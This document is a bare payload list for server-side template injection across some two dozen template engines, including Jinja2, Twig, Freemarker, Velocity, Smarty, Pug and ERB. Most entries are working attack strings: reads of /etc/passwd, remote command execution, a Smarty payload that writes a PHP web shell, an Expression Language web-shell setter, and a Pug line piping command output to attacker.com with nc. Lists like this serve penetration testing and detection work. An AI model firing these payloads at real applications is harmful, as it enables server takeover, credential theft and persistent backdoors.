# Server-Side Template Injection (SSTI) Payloads

# Detection/Polyglot payloads
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

# Jinja2 (Python - Flask)
# Basic detection
{{7*7}}
{{7*'7'}}
{{config}}
{{self}}

# Information disclosure
{{config.items()}}
{{self.__dict__}}
{{request.environ}}
{{request.application.__globals__}}

# File read
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

# Remote code execution
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
{{self._TemplateReference__context.joiner.__init__.__globals__.os.popen('whoami').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{request['application']['__globals__']['__builtins__']['__import__']('os').popen('ls').read()}}
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}

# Jinja2 sandbox escape
{{''.__class__.__base__.__subclasses__()}}
{{[].__class__.__base__.__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}

# Twig (PHP)
# Basic detection
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

# Information disclosure
{{_self.env.getGlobals()}}
{{_self.env}}
{{dump(_context)}}

# Remote code execution
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['id']|map('passthru')|join}}
{{['whoami']|map('system')|join}}
{{'a'.toUpperCase()}}
{{1*1}}{{6*6}}

# Freemarker (Java)
# Basic detection
${7*7}
#{7*7}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}

# Remote code execution
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("cat /etc/passwd")}
<#assign ex="freemarker.template.utility.ObjectConstructor"?new()>${ex("java.lang.ProcessBuilder","id").start()}
${"freemarker.template.utility.Execute"?new()("id")}

# Information disclosure
${.data_model}
${.globals}
${.main}
${.namespace}
${.current_namespace}
${.vars}

# Velocity (Java)
# Basic detection
#set($x=7*7)$x
${{7*7}}

# Remote code execution
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
#set($null=$ex.waitFor())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

# Smarty (PHP)
# Basic detection
{$smarty.version}
{php}echo `id`;{/php}
{7*7}

# Remote code execution
{system('ls')}
{system('cat /etc/passwd')}
{php}system('id');{/php}
{php}phpinfo();{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

# Information disclosure
{$smarty.template}
{$smarty.current_dir}
{$smarty.template_dir}

# Pug/Jade (Node.js)
# Basic detection
#{7*7}
!{7*7}

# Remote code execution
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('whoami')}()}
#{global.process.mainModule.require('child_process').exec('id')}
#{global.process.mainModule.require('child_process').execSync('id').toString()}
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.com 8080')

# ERB (Ruby on Rails)
# Basic detection
<%= 7*7 %>
<%= system('whoami') %>

# Remote code execution
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').readlines() %>
<%= require 'open3' %><%= Open3.capture2("id")[0] %>
<%= File.open('/etc/passwd').read %>

# Thymeleaf (Java)
# Basic detection
[[${7*7}]]
[(${7*7})]
[# th:block th:each="i : ${#numbers.sequence(1, 7*7)}" /]

# Remote code execution (with SpringEL)
${T(java.lang.Runtime).getRuntime().exec('calc')}
*{T(java.lang.Runtime).getRuntime().exec('calc')}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

# Tornado (Python)
# Basic detection
{{7*7}}
{% import os %}{{os.popen("id").read()}}

# Remote code execution
{% import subprocess %}{{subprocess.check_output('id',shell=True)}}
{% import os %}{{os.system('whoami')}}

# Mako (Python)
# Basic detection
${7*7}
<%={{7*7}%>

# Remote code execution
<%import os%>${os.popen("id").read()}
${__import__('os').popen('id').read()}

# Django (Python)
# Basic detection
{{7*7}}
{% debug %}

# Limited RCE (usually sandboxed)
{{request.META}}
{{settings.SECRET_KEY}}

# Handlebars (Node.js)
# Basic detection
{{7*7}}
{{this}}

# Prototype pollution
{{#with "constructor"}}{{#with split as |a|}}{{pop (push "alert('XSS')")}}{{#with .}}{{#with (concat (lookup join (slice 0 1)))}}{{#each .}}{{#with (string.sub.call ../sub "constructor")}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}

# Groovy (Java)
# Basic detection
${7*7}
<%= 7*7 %>

# Remote code execution
${"".getClass().forName("java.lang.Runtime").getRuntime().exec("calc")}

# Dot (JavaScript)
# Basic detection
{{=7*7}}

# Remote code execution
{{= global.process.mainModule.require('child_process').execSync('id').toString() }}

# Nunjucks (JavaScript)
# Basic detection
{{7*7}}
{{foo}}

# Remote code execution
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}

# Razor (.NET)
# Basic detection
@(7*7)
@{7*7}

# Information disclosure
@System.Diagnostics.Process.GetCurrentProcess().Id
@Directory.GetFiles("C:\\")

# EJS (JavaScript)
# Basic detection
<%=7*7%>

# Remote code execution
<%=global.process.mainModule.require('child_process').execSync('id')%>

# Underscore/Lodash templates (JavaScript)
# Basic detection
<%=7*7%>

# Remote code execution
<%= _.template('test')() %>

# Marko (JavaScript)
# Basic detection
${7*7}

# Remote code execution
${console.log(global.process.mainModule.require('child_process').execSync('id').toString())}

# Plate (Rust)
# Basic detection
{{7*7}}

# Liquid (Ruby)
# Basic detection
{{7 | times: 7}}

# Scalate (Scala)
# Basic detection
${7*7}
<%=7*7%>

# Template.js
# Basic detection
{{7*7}}

# Trim (Java)
# Basic detection
${7*7}

# Jade/Pug continued (with more variants)
- var x = global.process.mainModule.require
!{x('child_process').execSync('cat /etc/passwd')}

# ColdFusion
# Basic detection
#7*7#

# ASP.NET Web Forms
# Basic detection
<%= 7*7 %>

# Expression Language (Java EE)
# Basic detection
${7*7}
#{7*7}

# Remote code execution
${pageContext.request.getSession().setAttribute("shell","".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec(request.getParameter("cmd")))}

# Generic testing payloads
{{self}}
${self}
<%= self %>
#{self}
*{self}
@{self}
{{constructor}}
{{__class__}}
{{__init__}}
{{__globals__}}
{{__import__}}

# Blind SSTI detection
a{{9999*9999}}b
a${9999*9999}b
a<%= 9999*9999 %>b